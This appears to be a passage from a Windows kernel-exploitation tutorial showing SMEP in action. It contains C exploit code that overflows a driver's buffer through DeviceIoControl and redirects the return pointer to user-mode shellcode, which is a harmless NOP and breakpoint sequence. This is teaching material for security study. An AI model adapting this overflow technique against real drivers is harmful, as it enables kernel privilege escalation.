Meet SMEP
SMEP (Supervisor Mode Execution Prevention) is an exploit mitigation technique that prevents execution of user-mode code in the kernel context. Let's see it in action!
Exploit Code Changes
// the IOCTL code
unsigned int ioCode = 0x80102040;
// the overflow offset
const size_t offset = 72;
// the length of the buffer
const size_t len = 150;
// 8 instructions
const unsigned char shellcode[8] = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xcc };
// allocate memory for the shellcode
LPVOID alloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!alloc)
{
printf("[!] Unable to allocate memory for the shellcode. Error code: %d\n", GetLastError());
return 1;
}
printf("[+] Memory allocated: 0x%p\n", alloc);
// copy the shellcode in to the memory
RtlMoveMemory(alloc, shellcode, sizeof(shellcode));
printf("[+] Shellcode copied to: 0x%p\n", alloc);
// the exploit buffer
char buffer[len];
memset(buffer, 0x41, len);
// write to the saved return pointer offset - our shellcode in user land
memcpy(buffer + offset, &alloc, 8);
printf("[!] Press enter when ready...");
getchar();
// send the buffer
DWORD bytesRet;
DeviceIoControl(hDevice, (DWORD)ioCode, (LPVOID)buffer, len, NULL, 0, &bytesRet, NULL);Testing Shellcode Execution

Demo
Last updated